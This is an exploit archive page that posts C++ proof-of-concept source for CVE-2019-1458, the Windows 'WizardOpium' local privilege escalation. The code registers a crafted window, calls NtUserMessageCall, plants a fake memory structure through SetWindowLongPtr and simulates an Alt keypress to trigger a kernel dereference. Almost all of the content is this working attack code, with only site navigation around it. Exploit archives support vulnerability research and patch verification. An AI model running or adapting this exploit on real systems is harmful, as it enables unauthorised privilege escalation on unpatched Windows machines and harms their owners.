what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Windows WizardOpium Local Privilege Escalation

Microsoft Windows WizardOpium Local Privilege Escalation
Posted Mar 6, 2020
Authored by Piotr Florczyk

Microsoft Windows WizardOpium local privilege escalation exploit.

tags | exploit, local
systems | windows
advisories | CVE-2019-1458
SHA-256 | 8f4ff290f618c7ae82d5e4a5c6a3a8d15528402a776ef0a67b0092135caef4a2

Microsoft Windows WizardOpium Local Privilege Escalation

Change Mirror Download
#include <cstdio>
#include <windows.h>

extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);

int main() {
HINSTANCE hInstance = GetModuleHandle(NULL);

WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0

printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}

printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}

printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);

printf("[*] Allocate memory to be used for corruption\n");
PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("\tptr: %p\n", mem);
PBYTE byteView = (PBYTE)mem;
byteView[0x6c] = 1; // use GetKeyState in xxxPaintSwitchWindow

//pass DrawSwitchWndHilite double dereference
PVOID* ulongView = (PVOID*)mem;
ulongView[0x20 / sizeof(PVOID)] = mem;

printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
printf("[*] GetLastError = %x\n", GetLastError());

printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

printf("[*] Simulating alt key press\n");
BYTE keyState[256];
GetKeyboardState(keyState);
keyState[VK_MENU] |= 0x80;
SetKeyboardState(keyState);

printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    6 Files
  • 28
    May 28th
    12 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close